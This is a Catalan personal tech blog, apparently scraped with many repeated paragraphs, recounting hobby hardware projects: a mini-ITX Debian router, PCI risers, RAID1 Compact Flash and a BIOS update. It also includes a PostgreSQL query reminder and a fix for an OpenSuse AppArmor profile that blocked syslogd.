DE QUE COLLONS ESTIC PARLANT?!?!
Bàsicament, la caixa que utilitzo miniITX donava per suposat que era mitjanament estàndard en les seves mides, és fins a cert punt difícil, perquè la única cosa que defineix el miniITX són les mides de la placa base, no les de la caixa, i per tan, els fabricants fan el que volen.
El problema és que suposava que la caixa internament complia les mides d'ancoratge d'una caixa estàndard d'1 U, però resulta que no és així: La caixa fa uns 6 cm d'alt, no els prop de 4'5 cm que hauria de fer una caixa d'1U, això no és cap sorpresa, la sorpresa és que l'ancoratge intern per la tarja PCI en horitzontal que disposa donava per suposat que era equivalent al d'una caixa enracable d'1 U, i no és així!
Dues conseqüències: Ha quedat demostrada (altre cop, gran novetat!) la meva ignorància i avui m'ha arribat un paquet de Xina amb 10 elevadors PCI sobre placa per a caixes d'1U que no puc utilitzar per ser massa baixos!!! Simplement, la tarja PCI tocaria amb els connectors posteriors de la placa base.
Al final resulta que tinc un adaptador que m'és vàlid i 10 més que no (No penso llençar-los, mai se sap), encara continuo volent comprar-ne de nous que em valguin, però bé de preu clar.
Ja posats, algú em sap dir si el connector que utilitzo és estàndard? Com n'hi haig de dir?
Busqueu les diferencies:
DE QUE COLLONS ESTIC PARLANT?!?!
Bàsicament, la caixa que utilitzo miniITX donava per suposat que era mitjanament estàndard en les seves mides, és fins a cert punt difícil, perquè la única cosa que defineix el miniITX són les mides de la placa base, no les de la caixa, i per tan, els fabricants fan el que volen.
El problema és que suposava que la caixa internament complia les mides d'ancoratge d'una caixa estàndard d'1 U, però resulta que no és així: La caixa fa uns 6 cm d'alt, no els prop de 4'5 cm que hauria de fer una caixa d'1U, això no és cap sorpresa, la sorpresa és que l'ancoratge intern per la tarja PCI en horitzontal que disposa donava per suposat que era equivalent al d'una caixa enracable d'1 U, i no és així!
Dues conseqüències: Ha quedat demostrada (altre cop, gran novetat!) la meva ignorància i avui m'ha arribat un paquet de Xina amb 10 elevadors PCI sobre placa per a caixes d'1U que no puc utilitzar per ser massa baixos!!! Simplement, la tarja PCI tocaria amb els connectors posteriors de la placa base.
Al final resulta que tinc un adaptador que m'és vàlid i 10 més que no (No penso llençar-los, mai se sap), encara continuo volent comprar-ne de nous que em valguin, però bé de preu clar.
Ja posats, algú em sap dir si el connector que utilitzo és estàndard? Com n'hi haig de dir?
Busqueu les diferencies:
dijous, 22 de juliol del 2010
Complicant-me la vida: De l'epopeia que representa trobar un elevador PCI sobre placa (o no)
Ha costat i ha costat!
Ja havia comentat en alguna entrada anterior que era molt interessant que aconseguís aquesta mena d'adaptador, la caixa de que disposo permet muntar una tarja PCI, però només si ho faig horitzontalment per sobre de la placa base.
Després de repassar-me la majoria de tendes especialitzades del Carrer Sepùlveda preguntant per exactament el tipus d'adaptador PCI que necessitava, un elevador PCI sobre placa, només a una tenda em va dir que me'l podien proporcionar, per encàrrec, i que em costaria 15 €, que era probable que en tinguessin al magatzem i me'l podien portar. Vaja, que em cobraven un preu car per un component vell que no tenien esperances de vendre i que només feia que acumular pols i ocupar espai, no crec que els hi fos un mal negoci. En aquells moments ja em van agafar una mica desesperat.
Internet no havia resultat molt útil, ni les tendes xineses, ni eBay, ni les tendes en línia mitjanament importants, ...
En resum, al final, al cap de més de quinze dies d'haver-ho demanat vaig aconseguir això:
Ha passat el temps, coses dels exàmens escric aquesta entrada bastant més tard del que hauria volgut, i per aquelles coses de la vida/Internet l'altre dia vaig acabar mirant el catàleg d'una tenda xinesa a eBay: El catàleg més eclèctic que et puguis imaginar en temes d'electrònica per ordinadors i sense cap ordre ni sentit, vaig acabar-hi comprant dos dispositius USB per mesurar la temperatura i 10 (Sí, he dit 10) adaptadors elevadors PCI sobre placa, mira tu quina casualitat que aquests xinesos sí en tinguessin i estiguessin disposats a vendre-me'n a un preu immillorable. Preu total dels 12 components: 12 dòlars, això sí, el cost de l'enviament pujava també a 12 $, despropòsits!
Resultat al final? Ja puc muntar com cal la tarja de xarxa sense fils dins de la caixa i tancar-ho tot.
Ja havia comentat en alguna entrada anterior que era molt interessant que aconseguís aquesta mena d'adaptador, la caixa de que disposo permet muntar una tarja PCI, però només si ho faig horitzontalment per sobre de la placa base.
Després de repassar-me la majoria de tendes especialitzades del Carrer Sepùlveda preguntant per exactament el tipus d'adaptador PCI que necessitava, un elevador PCI sobre placa, només a una tenda em va dir que me'l podien proporcionar, per encàrrec, i que em costaria 15 €, que era probable que en tinguessin al magatzem i me'l podien portar. Vaja, que em cobraven un preu car per un component vell que no tenien esperances de vendre i que només feia que acumular pols i ocupar espai, no crec que els hi fos un mal negoci. En aquells moments ja em van agafar una mica desesperat.
Internet no havia resultat molt útil, ni les tendes xineses, ni eBay, ni les tendes en línia mitjanament importants, ...
En resum, al final, al cap de més de quinze dies d'haver-ho demanat vaig aconseguir això:
Resultat al final? Ja puc muntar com cal la tarja de xarxa sense fils dins de la caixa i tancar-ho tot.
diumenge, 11 d’abril del 2010
Complicant-me la vida: RAID1 Compact Flash 8+8 GO
No fa massa a la feina va aparèixer un encaminador/tallafocs muntable en armari rack d'una U, força senzillet i no massa nou diria jo, però segur que barat no era. El tema és que va arribar a les nostres dependències perquè no funcionava, i no funcionava perquè el disc intern que utilitzava era una targeta Compact Flash de tipus II i s'havia espatllat. Al tractar-se d'un dispositiu de memòria Flash ens trobem amb una vida limitada en quant a nombre d'escriptures màximes possibles a la mateixa cel·la de memòria,no són poques, però acaba passant.
Una alternativa relativament nova són els discos SSD,que intenten solucionar aquest problema utilitzant diverses tècniques: Utilitzar memòria SLC (Single-Level Cell) enlloc de MLC (Multil-Level Cell), reserven un tan per cent de cel·les per anar-les utilitzant a mesura que les ja en funcionament deixen de fer-ho, s'esborra només la referencia de les dades i no les dades en si (TRIM), ... No vull entrar-hi.
Com que el pressupost no està per anar comprant discos SSD i els requeriments tampoc crec que ho demanin ho faré el millor possible, a lo pobre, però que s'hi assembli: M'han arribat fa poc de Xina dos adaptadors IDE de 40 fils a Compact Flash, són adaptadors completament passius, doncs les targes Compact Flash acceptem sense problemes les comandes d'un bus IDE, només adapten els connectors, això explica que valguessin uns 2'50 €. Aquests adaptadors i dues targes Compact Flash de 8GO d'alta velocitat (30 MiO/s segons les especificacions, uns 30€ cada una) passaran a ser el dispositiu d'emmagatzematge de l'encaminador.
Per què dues? Perquè les munto en mode RAID1. És relativament senzill, només afegint el suport necessari al nucli de Linux i instal·lant les eines d'espai d'usuari mdadm en tenim prou per a definir els volums RAID1 a nivell de partició, i un cop definits els volums és completament transparent per la resta de sistema operatiu. Amb RAID s'aconsegueix redundància de dades i més velocitat de lectura, que són els dues principals pegues de les memòries Flash, quedant una mica pal·liades.
Si veieu a la foto no se si queda molt clar, els dos adaptadors estan units per uns cargols i uns separadors, gentilesa d'un amic manetes que jo no en tenia, i un parell de tacs de goma cònics autoadhesius que sí tenia per allí. Ha quedat molt bé, robust i compacte, el tema és que dins la caixa no sobra l'espai, i que així hi caben perfectament.
Una alternativa relativament nova són els discos SSD,que intenten solucionar aquest problema utilitzant diverses tècniques: Utilitzar memòria SLC (Single-Level Cell) enlloc de MLC (Multil-Level Cell), reserven un tan per cent de cel·les per anar-les utilitzant a mesura que les ja en funcionament deixen de fer-ho, s'esborra només la referencia de les dades i no les dades en si (TRIM), ... No vull entrar-hi.
Si veieu a la foto no se si queda molt clar, els dos adaptadors estan units per uns cargols i uns separadors, gentilesa d'un amic manetes que jo no en tenia, i un parell de tacs de goma cònics autoadhesius que sí tenia per allí. Ha quedat molt bé, robust i compacte, el tema és que dins la caixa no sobra l'espai, i que així hi caben perfectament.
De quan un ordinador és massa vell per Debian
Quan penso en instal·lar un sistema operatiu per un servidor normalment penso en una distribució GNU/Linux, i si a sobre em deixen escollir a mi normalment penso en una Debian completament pelada, m'agrada la idea de no malbaratar recursos en interfícies gràfiques que no utilitzaré i demés serveis. S'instal·la només el que necessites i tens força control sobre això.
Perquè m'enrotllo dient això? Perquè al miniPC al ser un projecte personal i un ordinador de potència limitada hi he instal·lat una Debian 5.04.
Els problemes hi han sigut, si tot funcionés a la primera seria massa fàcil. Crec que si una cosa ha quedat clara és que estic utilitzant un maquinari vell, 2002 és molt vell en termes d'informàtica, coses de la Llei de Moore. Això implica que a nivell de potència estem limitats, però també implica que coses que donem per suposades actualment no tenen perquè funcionar:
Fa algun temps que seguint aquestes instruccions i utilitzant el corresponent llapis de memòria USB faig les instal·lacions de sistema operatiu des d'aquest dispositiu. Debian és una de les imatges que utilitzo normalment i acostuma a funcionar. El problema ve quan tens un equip que tot just té USB 1.1 (VIA UHCI) i la BIOS és del 2002. T'alegres molt quan veus que hi ha les opcions necessàries a la configuració i és capaç d'arrencar sense pegues utilitzat l'USB. Disposa de múltiples emulacions, incloent disquetera, CD-ROM i disc dur (En la majoria de BIOS modernes el mode d'emulació s'escull automàticament), això implica que la BIOS converteix les crides realitzades a través de les seves rutines a peticions per USB per al dispositiu vàlides, una mena de capa d'emulació que fa creure al sistema operatiu que en realitat l'esmentat dispositiu no està endollat per USB si no per un bus més adequat a cada cas, si parlem d'una disquetera la controladora de disqueteres, en el cas d'un disc dur o una unitat òptica el bus IDE.
Però resulta que la emulació de disc dur que fa per treballar amb dispositius USB falla en aquesta placa base! Ni amb la versió actualitzada de la BIOS funciona, i el que és pitjor, falla a mitges. A mig arrencar el programa d'instal·lació es queda penjat i poca cosa més pots fer, però clar, determinar que és això el que t'està fallant és un altre tema, de fet, com la majoria de vegades, es determina per proba i error, i la cosa és complica quan hi ha coses que funcionen perfectament (Una imatge LiveCD d'Ubuntu també del mateix llapis).
Un cop descartat que el llapis USB tingués errors, que la imatge ISO de Debian s'hagués baixat malament, que es necessités arrencar amb algun paràmetre de compatibilitat el nucli, de córrer el memtest++ durant tota una nit en busca d'errors de memòria, de desendollar i desactivar tots els dispositius prescindibles (Tarja de so integrada, ports series i paral·lel, controladora de disquetera, ...), de provar d'utilitzar el mateix llapis en un altre ordinador pel mateix procediment... Al final he hagut de muntar-hi un lector òptic tan si com no, i cremar una imatge de Debian en CD.
Temps total d'instal·lació del sistema base de Debian amb el CD? Uns 30 minuts.
La informàtica és fàcil!
Perquè m'enrotllo dient això? Perquè al miniPC al ser un projecte personal i un ordinador de potència limitada hi he instal·lat una Debian 5.04.
Els problemes hi han sigut, si tot funcionés a la primera seria massa fàcil. Crec que si una cosa ha quedat clara és que estic utilitzant un maquinari vell, 2002 és molt vell en termes d'informàtica, coses de la Llei de Moore. Això implica que a nivell de potència estem limitats, però també implica que coses que donem per suposades actualment no tenen perquè funcionar:
Fa algun temps que seguint aquestes instruccions i utilitzant el corresponent llapis de memòria USB faig les instal·lacions de sistema operatiu des d'aquest dispositiu. Debian és una de les imatges que utilitzo normalment i acostuma a funcionar. El problema ve quan tens un equip que tot just té USB 1.1 (VIA UHCI) i la BIOS és del 2002. T'alegres molt quan veus que hi ha les opcions necessàries a la configuració i és capaç d'arrencar sense pegues utilitzat l'USB. Disposa de múltiples emulacions, incloent disquetera, CD-ROM i disc dur (En la majoria de BIOS modernes el mode d'emulació s'escull automàticament), això implica que la BIOS converteix les crides realitzades a través de les seves rutines a peticions per USB per al dispositiu vàlides, una mena de capa d'emulació que fa creure al sistema operatiu que en realitat l'esmentat dispositiu no està endollat per USB si no per un bus més adequat a cada cas, si parlem d'una disquetera la controladora de disqueteres, en el cas d'un disc dur o una unitat òptica el bus IDE.
Però resulta que la emulació de disc dur que fa per treballar amb dispositius USB falla en aquesta placa base! Ni amb la versió actualitzada de la BIOS funciona, i el que és pitjor, falla a mitges. A mig arrencar el programa d'instal·lació es queda penjat i poca cosa més pots fer, però clar, determinar que és això el que t'està fallant és un altre tema, de fet, com la majoria de vegades, es determina per proba i error, i la cosa és complica quan hi ha coses que funcionen perfectament (Una imatge LiveCD d'Ubuntu també del mateix llapis).
Un cop descartat que el llapis USB tingués errors, que la imatge ISO de Debian s'hagués baixat malament, que es necessités arrencar amb algun paràmetre de compatibilitat el nucli, de córrer el memtest++ durant tota una nit en busca d'errors de memòria, de desendollar i desactivar tots els dispositius prescindibles (Tarja de so integrada, ports series i paral·lel, controladora de disquetera, ...), de provar d'utilitzar el mateix llapis en un altre ordinador pel mateix procediment... Al final he hagut de muntar-hi un lector òptic tan si com no, i cremar una imatge de Debian en CD.
Temps total d'instal·lació del sistema base de Debian amb el CD? Uns 30 minuts.
La informàtica és fàcil!
divendres, 2 d’abril del 2010
La BIOS nova ha servit per alguna cosa!
Després d'haver actualitzat la BIOS a la versió més moderna, com vaig comentar a l'entrada anterior, i sense que serveixi de precedent ja he trobat una conseqüència positiva!
Resulta que he aconseguit un modul de memòria exactament igual que el que ja tenia instal·lat a l'equip, per tan, 512 MiO + 512 MiO són un total de 1 GiO. (Feia gracia utilitzar la nomenclatura, pels que no ho vegin clar: MiO = MebiOctet)
Doncs resulta que si no hagués actualitzat la BIOS l'equip no m'hauria acceptat treballar amb els dos mòduls, apart d'haver de canviar la configuració per a que la placa base accepti automàticament qualsevol dels tipus suportats de mòduls de memòria (2 o 4 bancs) i activar-ne la detecció automàtica de velocitat de funcionament per SPD, a més a més també calia actualitzar-la en aquest cas. Algun bug impedia que la placa base detectes correctament tota la memòria i era completament incapaç d'arrencar, posant-se a pitar com una posseïda queixant-se de la memòria.
Resumint: L'equip ara disposa de dos mòduls iguals de memòria, doblant-ne la memòria disponible.
Resulta que he aconseguit un modul de memòria exactament igual que el que ja tenia instal·lat a l'equip, per tan, 512 MiO + 512 MiO són un total de 1 GiO. (Feia gracia utilitzar la nomenclatura, pels que no ho vegin clar: MiO = MebiOctet)
Doncs resulta que si no hagués actualitzat la BIOS l'equip no m'hauria acceptat treballar amb els dos mòduls, apart d'haver de canviar la configuració per a que la placa base accepti automàticament qualsevol dels tipus suportats de mòduls de memòria (2 o 4 bancs) i activar-ne la detecció automàtica de velocitat de funcionament per SPD, a més a més també calia actualitzar-la en aquest cas. Algun bug impedia que la placa base detectes correctament tota la memòria i era completament incapaç d'arrencar, posant-se a pitar com una posseïda queixant-se de la memòria.
Resumint: L'equip ara disposa de dos mòduls iguals de memòria, doblant-ne la memòria disponible.
dimecres, 17 de març del 2010
Complicant-me la vida: Actualitzant la BIOS, mètode pedestre
La placa base de l'equip és de l'any 2002 (Força vella, sí) però el fabricant LexCom continua mantenint els fitxers de suport en el seu web, així que abans de fer res més vaig comprovar si existia alguna actualització i en efecte, hi havia una versió nova de la BIOS del 2004, no tots els fabricants mantenen arxius de fa tants anys.
Actualitzar-ne la BIOS a l'última versió disponible mal no hauria de fer i sempre es soluciona algun que altre bug, em podríeu dir que si no he trobat cap problema de funcionament no val la pena, que el més probable és que no solucioni res que m'afecti, que és inclús un procediment perillós (Et pots quedar sense placa si alguna cosa surt malament), però no sóc molt amic del "Si funciona no ho toquis!", després de tot, no estaria fent tot aquest projecte.
Recapitulem: placa base del 2002, jo a l'any 2010 i un viatge temporal al passat pendent. Quin és el procediment per actualitzar una BIOS? Doncs insereixes un disquet d'arrancada de DOS a la disquetera i un cop en línia de comandes canvies el disquet posant el que conté la versió de BIOS nova i la utilitat per "flashejar-la"... El miniPC no té disquetera i jo fa temps que no utilitzo disquets, i agraït n'estic!
El curiós del tema és que estic preparat per la vida moderna i disposo de tot el necessari, així que armat de paciència, una disquetera externa USB i tres disquets TDK reciclats que tenia guardats per emergències em poso en el procés.
Primera efemèride, aconsegueix un disquet d'arrancada de DOS: Ja he dit que estic preparat per la vida moderna, de manera que tinc guardat per allí un fitxer executable que genera un disquet d'arrencada de MS-DOS, una imatge dels que acompanyaven a Windows 98 Segona Edició. Com que l'executable és només per Windows canvio el meu equip a Windows 7 i després de veure que tampoc és compatible amb Windows 7 de 64 bits, canvio de màquina a una amb Windows XP de 64 bits on misteriosament (o per casualitat, ves tu a saber en que pensava Bill Gates en aquell moment!) si funciona l'executable i també hi tinc disquetera (És bo no llençar res!), però ESPERAT! Dels tres disquets al final només en funciona un! Així que al final haig de gravar-hi la imatge, arrencar el MS-DOS, esborrar altre cop el disquet, posar-hi els arxius que necessito per fer l'actualització i finalment fer l'actualització.
Temps total per realitzar una punyetera actualització de BIOS de 256 KiO per algú que està fart de fer-ho i tenia totes les eines: més d'una hora.
Entenc que no es procediment molt comú, no sempre es fa, però els fabricants s'haurien d'esforçar una mica en millorar-lo. A dia d'avui encara hi ha fabricants que depenen d'aquest mètode completament pedestre, d'altres tenen utilitats per Windows que faciliten molt les coses, però has d'anar molt amb compte igualment, cada model de placa base té la seva eina i cada fabricant també. I intentar fer-ho des de Linux és poc menys que un suïcidi.
Tot això em porta a pensar que entenc els motius per a que existeixi un projecte de codi lliure d'aquests que no se'n sent a parlar però que és prou interessant: CoreBoot
És un projecte per a proporcionar als fabricants i als usuaris, si volen, una BIOS per a les plaques base de codi lliure, evidentment, amb les corresponents eines comuns per a fer la feina per la majoria de sistemes operatius que existeixen, i suportant estàndards molt més moderns ens plaques base que el fabricant ja ha abandonat. Li queda camí per córrer, però em fa pensar en que és possible tindre una placa base amb suport EFI sense que el fabricant l'hagués dissenyat així, i tot el que sigui allargar la vida dels components benvingut sigui, i si no, que li diguin a la placa base del 2002 que estic utilitzant!
dilluns, 15 de març del 2010
Complicant-me la vida: Configurant un encaminador casolà per accedir a Internet
Si és divertit complicar-se la vida!
M'explico, he aconseguit per aquelles coses de la feina un ordinador vell que porta un processador de baix consum prou potent (VIA C3 800 Mhz) i em va semblar que seria la plataforma ideal per a configurar-m'hi una distribució Debian i utilitzar-la d'encaminador/tallafocs per l'accés a Internet. La idea és substituir un d'aquest fantàstics aparells que ens proporcionen els nostres proveïdors d'accés que fan de tot però no fan res bé: No n'he trobat cap que quan actives el control de QoS continuï tenint suficient potència per no perdre connexions, els que suporten TelefoniaIP acostumen a penjar-se i no poden canviar d'operador, els tallafocs són poc configurables i la seguretat discutible, ...
En resum: Puc buscar-me més excuses per complicar-me la vida, però el que intentaré fer és reinventar la sopa d'all a la meva manera, evidentment tampoc seré el primer en fer-ho, de fet, FONera em ve repetidament al cap, i OpenWRT és un altre projecte que també em fa sonar campanes.
L'ordinador que utilitzaré té les següents característiques tècniques:
M'agradaria trobar i comprar un elevador PCI sobre placa d'1 U (muntatge horitzontal), això em permetria no canviar de caixa i estalviar-me unes peles, si no, hauré de comprar una caixa on el connector d'expansió PCI de que disposa la placa base es pugui utilitzar en el seu muntatge vertical. De moment no he tingut sort.
La tarja 802.11n és per configurar un punt d'accés de xarxa sense fils: Posats a complicar-nos la vida, compliquem-nos-la del tot, no? He comprat aquest model perquè sabia que estava ben suportat pels nuclis moderns de Linux.
Dues coses a dir importants de l'equip que m'agraden, consumeix molt poc, entre 12 i 24 watts en funció de la freqüència dinàmica de treball del processador (400-800 Mhz), i que en conseqüència no fa gens de soroll, el processador porta un dissipador petit completament passiu que està tebi al tacte i com ja he dit, la font d'alimentació és un totxo de 60 W com si fos de portàtil.
El que tenim fins ara ens permet crear un encaminador, però encara no tenim com accedir a Internet, necessitem un mòdem ADSL2+. Aquí és on entra el proveïdor de torn d'accés a Internet i la seva amplia oferta de models. Com que l'ordinador que tenim només disposa d'una interfície de xarxa ethernet (La banda local de la xarxa) i el port d'expansió PCI ja el tenim ocupat necessitem una forma d'afegir una segona interfície de xarxa per poder connectar a Internet: Un LiveBox 1.1 amb connector USB ens hauria de servir per fer la feina, gentilesa d'un proveïdor taronja i un amic que no el necessitava. Aquest USB quan l'endolles a l'ordinador et proporciona una interfície de xarxa nova que servirà perfectament pel que ens ocupa. Sort que el nucli de Linux el reconeix!
Espero que les properes entrades siguin menys llargues o com a mínim menys difuses, i que no triguin gaire, procuraré penjar alguna foto, però és que ara mateix no tinc càmera! (Editat: JA TINC CÀMERA)
Coses d'un aprenent que encara té ganes d'aprendre.
M'explico, he aconseguit per aquelles coses de la feina un ordinador vell que porta un processador de baix consum prou potent (VIA C3 800 Mhz) i em va semblar que seria la plataforma ideal per a configurar-m'hi una distribució Debian i utilitzar-la d'encaminador/tallafocs per l'accés a Internet. La idea és substituir un d'aquest fantàstics aparells que ens proporcionen els nostres proveïdors d'accés que fan de tot però no fan res bé: No n'he trobat cap que quan actives el control de QoS continuï tenint suficient potència per no perdre connexions, els que suporten TelefoniaIP acostumen a penjar-se i no poden canviar d'operador, els tallafocs són poc configurables i la seguretat discutible, ...
En resum: Puc buscar-me més excuses per complicar-me la vida, però el que intentaré fer és reinventar la sopa d'all a la meva manera, evidentment tampoc seré el primer en fer-ho, de fet, FONera em ve repetidament al cap, i OpenWRT és un altre projecte que també em fa sonar campanes.
L'ordinador que utilitzaré té les següents característiques tècniques:
- Placa base LexCom BN860T VIA mini-ITX (Una review)
- DIMM 512 MB de memòria RAM SDR PC133
- Font d'alimentació sòlida de fins a 60 W
- Processador de baix consum VIA C3 a 800 Mhz (Samuel 2)
- Tarja PCI de xarxa sense fils 802.11n (TP-Link TL-WN951N)
- Disc dur IDE de 2'5" de 20 GB
La tarja 802.11n és per configurar un punt d'accés de xarxa sense fils: Posats a complicar-nos la vida, compliquem-nos-la del tot, no? He comprat aquest model perquè sabia que estava ben suportat pels nuclis moderns de Linux.
Dues coses a dir importants de l'equip que m'agraden, consumeix molt poc, entre 12 i 24 watts en funció de la freqüència dinàmica de treball del processador (400-800 Mhz), i que en conseqüència no fa gens de soroll, el processador porta un dissipador petit completament passiu que està tebi al tacte i com ja he dit, la font d'alimentació és un totxo de 60 W com si fos de portàtil.
El que tenim fins ara ens permet crear un encaminador, però encara no tenim com accedir a Internet, necessitem un mòdem ADSL2+. Aquí és on entra el proveïdor de torn d'accés a Internet i la seva amplia oferta de models. Com que l'ordinador que tenim només disposa d'una interfície de xarxa ethernet (La banda local de la xarxa) i el port d'expansió PCI ja el tenim ocupat necessitem una forma d'afegir una segona interfície de xarxa per poder connectar a Internet: Un LiveBox 1.1 amb connector USB ens hauria de servir per fer la feina, gentilesa d'un proveïdor taronja i un amic que no el necessitava. Aquest USB quan l'endolles a l'ordinador et proporciona una interfície de xarxa nova que servirà perfectament pel que ens ocupa. Sort que el nucli de Linux el reconeix!
Espero que les properes entrades siguin menys llargues o com a mínim menys difuses, i que no triguin gaire, procuraré penjar alguna foto, però és que ara mateix no tinc càmera! (Editat: JA TINC CÀMERA)
Coses d'un aprenent que encara té ganes d'aprendre.
dissabte, 19 de setembre del 2009
Comandes útils pel postgres
Em sembla d'utilitat fer entrades al blog que em serveixin com a recordatori de comandes que faig servir i que també puguin ser útils per altres que tracten els mateixos temes. Així que deixo unes quantes consultes que són bàsiques però interessants quan treballes amb el postgres.
information_schema.columns WHERE table_name ='table';
> SELECT table_name FROM information_schema.tables WHERE
table_schema = 'public'
- Per saber els usuaris de la BD:
- Per veure les bases de dades que tens:
- Per saber el nom de les columnes per una taula:
information_schema.columns WHERE table_name ='table';
- Per saber quines taules té una determinada BD, primer ens hem de connectar específicament a la BD:
> SELECT table_name FROM information_schema.tables WHERE
table_schema = 'public'
divendres, 9 de maig del 2008
El futur de la criptografia
M'acaben d'enviar aquesta noticia i m'ha semblat digna de fer-ne difusió. De com la física cuàntica canviarà les nostres vides (almenys la dels informàtics i els telecos).
Lo que s'han oblidat de mencionar es que cap veritat es absoluta ni cap sistema infalible. El sistema que avui pot semblar segur no ho serà en el futur i si no, que li preguntin a Murphy.
Lo que s'han oblidat de mencionar es que cap veritat es absoluta ni cap sistema infalible. El sistema que avui pot semblar segur no ho serà en el futur i si no, que li preguntin a Murphy.
diumenge, 2 de març del 2008
I'm fucking Matt Damon
M'ha fet gràcia aquesta història sobre dos humoristes dels EEUU que són parella, i s'han fet la punyeta entre ells amb un parell de videos bastant divertits.
Primer ella, va al seu programa i li "confessa" al presentador (el seu xicot) que s'ha anat al llit amb unaltre, i a més ho fa cantant.
I per vengar-se d'ella i l'amant, el seu xicot els hi dedica un altre vídeo, on li diu a l'"esmentat" que ell li pendrà quelcom que s'estima, ja que li ha tret la seva xicota. Imperdible!
(Vist a BlogdeCine)
Primer ella, va al seu programa i li "confessa" al presentador (el seu xicot) que s'ha anat al llit amb unaltre, i a més ho fa cantant.
I per vengar-se d'ella i l'amant, el seu xicot els hi dedica un altre vídeo, on li diu a l'"esmentat" que ell li pendrà quelcom que s'estima, ja que li ha tret la seva xicota. Imperdible!
(Vist a BlogdeCine)
dissabte, 23 de febrer del 2008
Apparmor a Opensuse i els problemes amb el syslogd
Per qüestions de monitorització i similitud entre màquines sempre instal·lem el syslogd als servidors enlloc d'utilitzar el més nou syslog-ng (aishh! algun dia ho canviarem).
Doncs en les últimes instal·lacions de la opensuse 10.x desinstalavem el que venia per defecte (syslog-ng) i posàvem el syslogd, canviàvem la configuració del fitxer /etc/syslogd.conf per a que redirigis els logs a on ens interesses, i ens trobàvem que res funcionava. No es generàvem logs i a més el syslogd s'arrancava però immediatament es posava en mode "defunct", fent un ps el podíem veure moribund:
# ps -ef| grep -i syslogd
root 9601 9600 0 11:50 ? 00:00:00 [syslogd]
El problema ara, estava en endevinar que podia passar, i dic endevinar perquè òbviament no tenia cap log on mirar per saber que podia estar passant.. Després de fer strace, de provar de canviar el syslog.conf i tot el que se'm podia acudir, vaig baixar a la consola i em vaig trobar amb uns "simpàtics" missatges que deien algo així com:
type=APPARMOR_DENIED msg=audit(1203504641.685:6): type=1503 operation="file_lock" requested_mask="k" denied_mask="k" name="/var/run/syslogd.pid" pid=9601 profile="/sbin/syslogd"
Així que aquí tenia al culpable, l'aplicació d'Apparmor que ve amb les últimes versions de OpenSuse activada, estava bloquejant que el syslog pogués arrancar correctament. Vaig parar el apparmor (/etc/init.d/boot.apparmor stop) i rearrancar el procés de syslogd, amb el que tot va començar a funcionar correctament. Se'm va passar per la ment la idea de deixar-ho així i seguir treballant en la instal.lació (que ja anem prou carregats de feina), però vaig seguir mirant de què anava el apparmor i perquè podia estar-me fent la punyeta d'aquesta manera.
El apparmor és un desenvolupament fet per Novell que limita el que poden fer els processos en una màquina linux, com per exemple a quin directori poden accedir, que poden fer amb tal fitxer (llegir, escriure,...) de manera molt més concreta del que es podia fer antigament amb els permisos d'execució per usuari. Si voleu més informació podeu llegir a la wikipedia, a l'entrada de l'apparmor.
Em sembla que per contra els de Red Hat utilitzen SELinux.
Bé, indagant una mica més trobo que la configuració del apparmor es troba al /etc/apparmor.d, on per cada un dels processos que es volen definir tenim un fitxer que descriu que poden o no poden fer. Pel syslogd hi ha el fitxer sbin.syslogd, on està la línia de marràs:
/var/run/syslogd.pid lrw,
Al final, trobo que els de OpenSuse tenen reconegut com un bug que el perfil definit pel syslogd a la instal.lació del apparmor està mal definit i aquesta línia deuria ser:
/var/run/syslogd.pid klrw
(com diu al error de la consola requested_mask="k")
Ho canvio i per fi, tot va bé amb apparmor inclòs. Unes quantes hores de feina perdudes per un detall de no res..
Doncs en les últimes instal·lacions de la opensuse 10.x desinstalavem el que venia per defecte (syslog-ng) i posàvem el syslogd, canviàvem la configuració del fitxer /etc/syslogd.conf per a que redirigis els logs a on ens interesses, i ens trobàvem que res funcionava. No es generàvem logs i a més el syslogd s'arrancava però immediatament es posava en mode "defunct", fent un ps el podíem veure moribund:
# ps -ef| grep -i syslogd
root 9601 9600 0 11:50 ? 00:00:00 [syslogd]
El problema ara, estava en endevinar que podia passar, i dic endevinar perquè òbviament no tenia cap log on mirar per saber que podia estar passant.. Després de fer strace, de provar de canviar el syslog.conf i tot el que se'm podia acudir, vaig baixar a la consola i em vaig trobar amb uns "simpàtics" missatges que deien algo així com:
type=APPARMOR_DENIED msg=audit(1203504641.685:6): type=1503 operation="file_lock" requested_mask="k" denied_mask="k" name="/var/run/syslogd.pid" pid=9601 profile="/sbin/syslogd"
Així que aquí tenia al culpable, l'aplicació d'Apparmor que ve amb les últimes versions de OpenSuse activada, estava bloquejant que el syslog pogués arrancar correctament. Vaig parar el apparmor (/etc/init.d/boot.apparmor stop) i rearrancar el procés de syslogd, amb el que tot va començar a funcionar correctament. Se'm va passar per la ment la idea de deixar-ho així i seguir treballant en la instal.lació (que ja anem prou carregats de feina), però vaig seguir mirant de què anava el apparmor i perquè podia estar-me fent la punyeta d'aquesta manera.
El apparmor és un desenvolupament fet per Novell que limita el que poden fer els processos en una màquina linux, com per exemple a quin directori poden accedir, que poden fer amb tal fitxer (llegir, escriure,...) de manera molt més concreta del que es podia fer antigament amb els permisos d'execució per usuari. Si voleu més informació podeu llegir a la wikipedia, a l'entrada de l'apparmor.
Em sembla que per contra els de Red Hat utilitzen SELinux.
Bé, indagant una mica més trobo que la configuració del apparmor es troba al /etc/apparmor.d, on per cada un dels processos que es volen definir tenim un fitxer que descriu que poden o no poden fer. Pel syslogd hi ha el fitxer sbin.syslogd, on està la línia de marràs:
/var/run/syslogd.pid lrw,
Al final, trobo que els de OpenSuse tenen reconegut com un bug que el perfil definit pel syslogd a la instal.lació del apparmor està mal definit i aquesta línia deuria ser:
/var/run/syslogd.pid klrw
(com diu al error de la consola requested_mask="k")
Ho canvio i per fi, tot va bé amb apparmor inclòs. Unes quantes hores de feina perdudes per un detall de no res..
dimecres, 20 de febrer del 2008
Nokia i l'EAP-TTLS/PAP
Realment no se que té Nokia en contra de l'EAP-TTLS/PAP per a que no l'implementin a cap dels seus productes. I encara entenc menys que no es pugui fer servir a la seva gama d'internet tablets que si alguna cosa han de tindre es capacitat de connexió amb la varietat de protocols WIFI que existeixen.
Per als que estigueu perduts, us faig un resum ràpid:
